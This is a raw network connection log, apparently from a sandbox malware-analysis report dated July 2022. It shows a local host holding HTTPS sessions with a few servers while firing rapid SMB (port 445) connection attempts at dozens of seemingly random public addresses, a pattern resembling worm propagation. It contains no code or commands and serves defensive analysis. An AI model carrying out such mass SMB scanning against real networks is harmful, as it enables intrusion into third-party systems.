Jul 20, 2022 19:32:47.838749886 CEST	443	54876	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.847704887 CEST	445	54882	45.60.207.7	192.168.2.7
Jul 20, 2022 19:32:47.847809076 CEST	54882	445	192.168.2.7	45.60.207.7
Jul 20, 2022 19:32:47.848079920 CEST	54882	445	192.168.2.7	45.60.207.7
Jul 20, 2022 19:32:47.852437019 CEST	54883	445	192.168.2.7	45.60.207.7
Jul 20, 2022 19:32:47.854860067 CEST	54876	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.854875088 CEST	443	54876	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.866015911 CEST	445	54882	45.60.207.7	192.168.2.7
Jul 20, 2022 19:32:47.866386890 CEST	445	54882	45.60.207.7	192.168.2.7
Jul 20, 2022 19:32:47.866446972 CEST	54882	445	192.168.2.7	45.60.207.7
Jul 20, 2022 19:32:47.869086981 CEST	445	54883	45.60.207.7	192.168.2.7
Jul 20, 2022 19:32:47.869236946 CEST	54883	445	192.168.2.7	45.60.207.7
Jul 20, 2022 19:32:47.869400978 CEST	54883	445	192.168.2.7	45.60.207.7
Jul 20, 2022 19:32:47.885948896 CEST	445	54883	45.60.207.7	192.168.2.7
Jul 20, 2022 19:32:47.885972023 CEST	445	54883	45.60.207.7	192.168.2.7
Jul 20, 2022 19:32:47.886179924 CEST	54883	445	192.168.2.7	45.60.207.7
Jul 20, 2022 19:32:47.886392117 CEST	445	54883	45.60.207.7	192.168.2.7
Jul 20, 2022 19:32:47.886486053 CEST	54883	445	192.168.2.7	45.60.207.7
Jul 20, 2022 19:32:47.886775017 CEST	54883	445	192.168.2.7	45.60.207.7
Jul 20, 2022 19:32:47.886987925 CEST	54866	445	192.168.2.7	94.253.63.56
Jul 20, 2022 19:32:47.903002024 CEST	445	54883	45.60.207.7	192.168.2.7
Jul 20, 2022 19:32:47.904447079 CEST	445	54883	45.60.207.7	192.168.2.7
Jul 20, 2022 19:32:47.941047907 CEST	443	54876	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.941129923 CEST	443	54876	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.941137075 CEST	54876	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.941179037 CEST	54876	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.942707062 CEST	54876	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.942722082 CEST	443	54876	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.942744970 CEST	54876	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.942771912 CEST	54876	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.945023060 CEST	54886	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.945085049 CEST	443	54886	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.945188046 CEST	54886	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.945530891 CEST	54886	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.945554018 CEST	443	54886	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.953449965 CEST	445	54866	94.253.63.56	192.168.2.7
Jul 20, 2022 19:32:47.967694998 CEST	54887	445	192.168.2.7	60.250.221.143
Jul 20, 2022 19:32:47.968436003 CEST	54888	445	192.168.2.7	112.88.45.190
Jul 20, 2022 19:32:47.974857092 CEST	54893	445	192.168.2.7	18.246.248.197
Jul 20, 2022 19:32:47.975079060 CEST	54900	445	192.168.2.7	70.51.91.45
Jul 20, 2022 19:32:47.981857061 CEST	54902	445	192.168.2.7	140.244.163.190
Jul 20, 2022 19:32:47.984462976 CEST	54904	445	192.168.2.7	73.114.221.105
Jul 20, 2022 19:32:47.984616041 CEST	54906	445	192.168.2.7	170.188.252.51
Jul 20, 2022 19:32:47.984651089 CEST	54907	445	192.168.2.7	144.139.157.218
Jul 20, 2022 19:32:48.105123997 CEST	443	54886	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.105211020 CEST	54886	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.107335091 CEST	54886	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.107353926 CEST	443	54886	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.110008001 CEST	54886	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.110021114 CEST	443	54886	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.183948040 CEST	443	54886	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.184012890 CEST	443	54886	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.184041977 CEST	54886	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.184072018 CEST	54886	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.185185909 CEST	54908	445	192.168.2.7	121.3.139.7
Jul 20, 2022 19:32:48.186980009 CEST	54886	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.186999083 CEST	443	54886	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.187010050 CEST	54886	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.187077045 CEST	54886	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.189724922 CEST	54911	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.189770937 CEST	443	54911	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.189881086 CEST	54911	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.190243006 CEST	54911	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.190257072 CEST	443	54911	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.206001997 CEST	54912	445	192.168.2.7	43.169.55.119
Jul 20, 2022 19:32:48.206392050 CEST	54916	445	192.168.2.7	105.194.99.165
Jul 20, 2022 19:32:48.206398010 CEST	54915	445	192.168.2.7	116.78.130.97
Jul 20, 2022 19:32:48.206537008 CEST	54917	445	192.168.2.7	139.8.52.33
Jul 20, 2022 19:32:48.206700087 CEST	54921	445	192.168.2.7	31.111.239.129
Jul 20, 2022 19:32:48.206758976 CEST	54922	445	192.168.2.7	163.180.236.67
Jul 20, 2022 19:32:48.231828928 CEST	54926	445	192.168.2.7	186.52.223.55
Jul 20, 2022 19:32:48.234627008 CEST	54930	445	192.168.2.7	14.251.171.250
Jul 20, 2022 19:32:48.238930941 CEST	54936	445	192.168.2.7	200.168.64.203
Jul 20, 2022 19:32:48.240905046 CEST	54939	445	192.168.2.7	169.60.59.112
Jul 20, 2022 19:32:48.241652012 CEST	54940	445	192.168.2.7	110.197.232.241
Jul 20, 2022 19:32:48.242358923 CEST	54941	445	192.168.2.7	138.245.56.102
Jul 20, 2022 19:32:48.243696928 CEST	54943	445	192.168.2.7	41.24.8.204
Jul 20, 2022 19:32:48.244405985 CEST	54944	445	192.168.2.7	35.71.156.54
Jul 20, 2022 19:32:48.245749950 CEST	54946	445	192.168.2.7	27.21.84.201
Jul 20, 2022 19:32:48.248878002 CEST	54948	445	192.168.2.7	166.237.250.147
Jul 20, 2022 19:32:48.252091885 CEST	54949	445	192.168.2.7	212.226.214.57
Jul 20, 2022 19:32:48.252825975 CEST	54950	445	192.168.2.7	74.158.62.115
Jul 20, 2022 19:32:48.254825115 CEST	54953	445	192.168.2.7	158.115.198.157
Jul 20, 2022 19:32:48.335824013 CEST	443	54911	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.335913897 CEST	54911	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.336625099 CEST	54911	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.336637974 CEST	443	54911	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.348683119 CEST	54911	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.348715067 CEST	443	54911	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.388657093 CEST	445	54854	102.24.146.108	192.168.2.7
Jul 20, 2022 19:32:48.432795048 CEST	443	54911	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.432878971 CEST	443	54911	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.432951927 CEST	54911	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.432977915 CEST	54911	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.433068037 CEST	54911	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.433087111 CEST	443	54911	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.433119059 CEST	54911	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.433139086 CEST	54911	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.440145016 CEST	54956	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.440184116 CEST	443	54956	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.440287113 CEST	54956	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.440677881 CEST	54956	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.440692902 CEST	443	54956	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.454925060 CEST	54957	443	192.168.2.7	20.54.89.106
Jul 20, 2022 19:32:48.454957008 CEST	443	54957	20.54.89.106	192.168.2.7
Jul 20, 2022 19:32:48.455044985 CEST	54957	443	192.168.2.7	20.54.89.106
Jul 20, 2022 19:32:48.455440998 CEST	54957	443	192.168.2.7	20.54.89.106
Jul 20, 2022 19:32:48.455452919 CEST	443	54957	20.54.89.106	192.168.2.7
Jul 20, 2022 19:32:48.583268881 CEST	443	54956	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.583457947 CEST	54956	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.584069014 CEST	54956	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.584083080 CEST	443	54956	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.598656893 CEST	443	54957	20.54.89.106	192.168.2.7
Jul 20, 2022 19:32:48.598831892 CEST	54957	443	192.168.2.7	20.54.89.106
Jul 20, 2022 19:32:48.603385925 CEST	54957	443	192.168.2.7	20.54.89.106
Jul 20, 2022 19:32:48.603399038 CEST	443	54957	20.54.89.106	192.168.2.7
Jul 20, 2022 19:32:48.603676081 CEST	443	54957	20.54.89.106	192.168.2.7
Jul 20, 2022 19:32:48.604180098 CEST	54956	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.604202032 CEST	443	54956	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.605318069 CEST	54957	443	192.168.2.7	20.54.89.106
Jul 20, 2022 19:32:48.652487993 CEST	443	54957	20.54.89.106	192.168.2.7
Jul 20, 2022 19:32:48.675226927 CEST	443	54956	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.675291061 CEST	443	54956	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.675415039 CEST	54956	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.675429106 CEST	54956	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.675496101 CEST	54956	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.675506115 CEST	443	54956	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.675529003 CEST	54956	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.675549984 CEST	54956	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.677861929 CEST	54959	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.677917957 CEST	443	54959	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.678042889 CEST	54959	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.678342104 CEST	54959	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.678369045 CEST	443	54959	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.698422909 CEST	443	54957	20.54.89.106	192.168.2.7
Jul 20, 2022 19:32:48.698453903 CEST	443	54957	20.54.89.106	192.168.2.7
Jul 20, 2022 19:32:48.698472977 CEST	443	54957	20.54.89.106	192.168.2.7
Jul 20, 2022 19:32:48.698575974 CEST	54957	443	192.168.2.7	20.54.89.106
Jul 20, 2022 19:32:48.698591948 CEST	443	54957	20.54.89.106	192.168.2.7
Jul 20, 2022 19:32:48.698609114 CEST	443	54957	20.54.89.106	192.168.2.7
Jul 20, 2022 19:32:48.698622942 CEST	443	54957	20.54.89.106	192.168.2.7
Jul 20, 2022 19:32:48.698678017 CEST	54957	443	192.168.2.7	20.54.89.106
Jul 20, 2022 19:32:48.698729992 CEST	54957	443	192.168.2.7	20.54.89.106
Jul 20, 2022 19:32:48.702562094 CEST	54960	445	192.168.2.7	51.158.189.60
Jul 20, 2022 19:32:48.703368902 CEST	54961	445	192.168.2.7	131.153.221.51
Jul 20, 2022 19:32:48.703774929 CEST	54957	443	192.168.2.7	20.54.89.106
Jul 20, 2022 19:32:48.703797102 CEST	443	54957	20.54.89.106	192.168.2.7
Jul 20, 2022 19:32:48.703805923 CEST	54957	443	192.168.2.7	20.54.89.106
Jul 20, 2022 19:32:48.703813076 CEST	443	54957	20.54.89.106	192.168.2.7
Jul 20, 2022 19:32:48.770792961 CEST	443	54959	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.770961046 CEST	54959	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.771629095 CEST	54959	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.771641970 CEST	443	54959	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.774415970 CEST	54959	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.774436951 CEST	443	54959	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.805210114 CEST	54962	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:48.805238008 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:48.805341959 CEST	54962	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:48.805691957 CEST	54962	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:48.805701017 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:48.914079905 CEST	443	54959	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.914170980 CEST	443	54959	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.914200068 CEST	54959	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.914225101 CEST	54959	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.959449053 CEST	54959	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.959494114 CEST	443	54959	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:48.959506989 CEST	54959	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:48.959568977 CEST	54959	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.058665037 CEST	54964	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.058727026 CEST	443	54964	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.058928013 CEST	54964	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.064584017 CEST	54964	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.064610958 CEST	443	54964	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.096992016 CEST	54967	445	192.168.2.7	28.93.40.10
Jul 20, 2022 19:32:49.097455978 CEST	54971	445	192.168.2.7	12.204.252.217
Jul 20, 2022 19:32:49.104341984 CEST	54973	445	192.168.2.7	189.15.241.163
Jul 20, 2022 19:32:49.104500055 CEST	54974	445	192.168.2.7	54.25.19.118
Jul 20, 2022 19:32:49.114233017 CEST	54981	445	192.168.2.7	79.77.215.154
Jul 20, 2022 19:32:49.114253044 CEST	54982	445	192.168.2.7	33.101.108.22
Jul 20, 2022 19:32:49.114485025 CEST	54985	445	192.168.2.7	124.217.127.37
Jul 20, 2022 19:32:49.114495993 CEST	54986	445	192.168.2.7	196.251.18.151
Jul 20, 2022 19:32:49.121412992 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:49.121496916 CEST	54962	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:49.133449078 CEST	54962	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:49.133464098 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:49.133729935 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:49.135204077 CEST	54962	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:49.176498890 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:49.208467960 CEST	443	54964	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.208580017 CEST	54964	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.209220886 CEST	54964	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.209238052 CEST	443	54964	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.212035894 CEST	54964	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.212053061 CEST	443	54964	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.282499075 CEST	54987	445	192.168.2.7	121.3.139.8
Jul 20, 2022 19:32:49.285433054 CEST	443	54964	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.285501957 CEST	54964	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.285506964 CEST	443	54964	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.285557032 CEST	54964	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.288821936 CEST	54964	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.288855076 CEST	443	54964	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.288867950 CEST	54964	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.288903952 CEST	54964	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.296689987 CEST	54988	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.296732903 CEST	443	54988	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.296811104 CEST	54988	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.305469036 CEST	54988	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.305500984 CEST	443	54988	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.330784082 CEST	54992	445	192.168.2.7	130.195.26.137
Jul 20, 2022 19:32:49.330950022 CEST	54994	445	192.168.2.7	190.73.227.26
Jul 20, 2022 19:32:49.331087112 CEST	54997	445	192.168.2.7	101.39.48.173
Jul 20, 2022 19:32:49.331095934 CEST	54995	445	192.168.2.7	144.9.109.136
Jul 20, 2022 19:32:49.331207037 CEST	55000	445	192.168.2.7	182.101.209.31
Jul 20, 2022 19:32:49.331262112 CEST	55001	445	192.168.2.7	42.171.237.115
Jul 20, 2022 19:32:49.342729092 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:49.342770100 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:49.342796087 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:49.342891932 CEST	54962	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:49.342911005 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:49.342932940 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:49.342968941 CEST	54962	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:49.342969894 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:49.342988014 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:49.343004942 CEST	54962	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:49.343036890 CEST	54962	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:49.343038082 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:49.343053102 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:49.343086004 CEST	54962	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:49.343133926 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:49.343199015 CEST	54962	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:49.345740080 CEST	54962	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:49.345756054 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:49.345767021 CEST	54962	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:49.345772982 CEST	443	54962	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:49.356682062 CEST	55006	445	192.168.2.7	45.51.175.110
Jul 20, 2022 19:32:49.359019995 CEST	55010	445	192.168.2.7	27.239.168.144
Jul 20, 2022 19:32:49.365748882 CEST	55016	445	192.168.2.7	37.215.0.145
Jul 20, 2022 19:32:49.367912054 CEST	55019	445	192.168.2.7	189.184.129.141
Jul 20, 2022 19:32:49.368622065 CEST	55020	445	192.168.2.7	156.126.58.161
Jul 20, 2022 19:32:49.369364023 CEST	55021	445	192.168.2.7	93.59.205.119
Jul 20, 2022 19:32:49.370799065 CEST	55023	445	192.168.2.7	36.113.168.43
Jul 20, 2022 19:32:49.372685909 CEST	55024	445	192.168.2.7	36.100.220.134
Jul 20, 2022 19:32:49.374257088 CEST	55026	445	192.168.2.7	4.175.143.170
Jul 20, 2022 19:32:49.375531912 CEST	55028	445	192.168.2.7	74.189.247.29
Jul 20, 2022 19:32:49.398763895 CEST	55030	445	192.168.2.7	126.182.191.226
Jul 20, 2022 19:32:49.400414944 CEST	55032	445	192.168.2.7	208.7.105.6
Jul 20, 2022 19:32:49.401324034 CEST	55033	445	192.168.2.7	7.223.20.119
Jul 20, 2022 19:32:49.447664976 CEST	443	54988	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.447782040 CEST	54988	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.478904963 CEST	54988	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.478926897 CEST	443	54988	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.496000051 CEST	54988	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.496020079 CEST	443	54988	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.576071978 CEST	443	54988	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.576148987 CEST	54988	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.576153040 CEST	443	54988	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.576216936 CEST	54988	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.663424969 CEST	54988	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.663444996 CEST	443	54988	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.712606907 CEST	55037	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.712642908 CEST	443	55037	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.712759972 CEST	55037	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.729796886 CEST	55037	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:49.729820967 CEST	443	55037	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.779165983 CEST	55038	445	192.168.2.7	131.153.221.52
Jul 20, 2022 19:32:49.779927015 CEST	55039	445	192.168.2.7	51.158.189.61
Jul 20, 2022 19:32:49.873084068 CEST	443	55037	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:49.873310089 CEST	55037	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.096308947 CEST	55042	445	192.168.2.7	213.142.151.85
Jul 20, 2022 19:32:50.139749050 CEST	55037	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.139791012 CEST	443	55037	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.151058912 CEST	445	55042	213.142.151.85	192.168.2.7
Jul 20, 2022 19:32:50.151746035 CEST	55042	445	192.168.2.7	213.142.151.85
Jul 20, 2022 19:32:50.151983023 CEST	55042	445	192.168.2.7	213.142.151.85
Jul 20, 2022 19:32:50.203293085 CEST	55047	445	192.168.2.7	173.237.154.169
Jul 20, 2022 19:32:50.203969955 CEST	55048	445	192.168.2.7	42.2.21.182
Jul 20, 2022 19:32:50.205955029 CEST	55051	445	192.168.2.7	195.230.225.102
Jul 20, 2022 19:32:50.206734896 CEST	445	55042	213.142.151.85	192.168.2.7
Jul 20, 2022 19:32:50.211247921 CEST	55058	445	192.168.2.7	119.77.160.130
Jul 20, 2022 19:32:50.216387033 CEST	55059	445	192.168.2.7	9.43.123.38
Jul 20, 2022 19:32:50.216990948 CEST	55060	445	192.168.2.7	25.239.200.64
Jul 20, 2022 19:32:50.227731943 CEST	55063	445	192.168.2.7	116.252.42.159
Jul 20, 2022 19:32:50.228329897 CEST	55064	445	192.168.2.7	36.120.188.54
Jul 20, 2022 19:32:50.237981081 CEST	55037	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.238003969 CEST	443	55037	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.267683983 CEST	55065	445	192.168.2.7	213.142.151.86
Jul 20, 2022 19:32:50.304018021 CEST	55066	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:50.304054976 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:50.304284096 CEST	55066	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:50.304877043 CEST	55066	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:50.304892063 CEST	443	55066	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:50.307094097 CEST	443	55037	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.307162046 CEST	443	55037	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.307178020 CEST	55037	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.307265997 CEST	55037	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.307445049 CEST	55037	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.307459116 CEST	443	55037	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.307497025 CEST	55037	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.307574034 CEST	55037	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.324552059 CEST	445	55065	213.142.151.86	192.168.2.7
Jul 20, 2022 19:32:50.325263023 CEST	55065	445	192.168.2.7	213.142.151.86
Jul 20, 2022 19:32:50.325376987 CEST	55065	445	192.168.2.7	213.142.151.86
Jul 20, 2022 19:32:50.329457045 CEST	55067	445	192.168.2.7	213.142.151.86
Jul 20, 2022 19:32:50.351150036 CEST	55068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.351205111 CEST	443	55068	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.354018927 CEST	55068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.357214928 CEST	55069	445	192.168.2.7	121.3.139.9
Jul 20, 2022 19:32:50.357727051 CEST	55068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.357755899 CEST	443	55068	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.377829075 CEST	445	55065	213.142.151.86	192.168.2.7
Jul 20, 2022 19:32:50.381448030 CEST	445	55065	213.142.151.86	192.168.2.7
Jul 20, 2022 19:32:50.385427952 CEST	445	55067	213.142.151.86	192.168.2.7
Jul 20, 2022 19:32:50.390083075 CEST	55067	445	192.168.2.7	213.142.151.86
Jul 20, 2022 19:32:50.390270948 CEST	55067	445	192.168.2.7	213.142.151.86
Jul 20, 2022 19:32:50.405817986 CEST	445	55048	42.2.21.182	192.168.2.7
Jul 20, 2022 19:32:50.447310925 CEST	445	55067	213.142.151.86	192.168.2.7
Jul 20, 2022 19:32:50.478292942 CEST	55073	445	192.168.2.7	192.223.184.18
Jul 20, 2022 19:32:50.478338957 CEST	55075	445	192.168.2.7	181.22.240.169
Jul 20, 2022 19:32:50.478400946 CEST	55076	445	192.168.2.7	210.65.61.119
Jul 20, 2022 19:32:50.478576899 CEST	55078	445	192.168.2.7	14.81.176.32
Jul 20, 2022 19:32:50.478863001 CEST	55081	445	192.168.2.7	77.229.129.174
Jul 20, 2022 19:32:50.478920937 CEST	55082	445	192.168.2.7	8.93.125.121
Jul 20, 2022 19:32:50.508136988 CEST	443	55068	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:50.509785891 CEST	55068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:50.518937111 CEST	55087	445	192.168.2.7	45.74.13.85
Jul 20, 2022 19:32:50.519685030 CEST	55091	445	192.168.2.7	219.157.98.135
Jul 20, 2022 19:32:50.520148993 CEST	55097	445	192.168.2.7	133.115.191.156
Jul 20, 2022 19:32:50.520308971 CEST	55100	445	192.168.2.7	193.111.33.4
Jul 20, 2022 19:32:50.520653009 CEST	55101	445	192.168.2.7	116.136.109.163
Jul 20, 2022 19:32:50.520745993 CEST	55102	445	192.168.2.7	13.59.5.28
Jul 20, 2022 19:32:50.520953894 CEST	55104	445	192.168.2.7	66.91.121.187
Jul 20, 2022 19:32:50.523950100 CEST	55105	445	192.168.2.7	223.205.31.55
Jul 20, 2022 19:32:50.524158955 CEST	55108	445	192.168.2.7	28.67.2.176
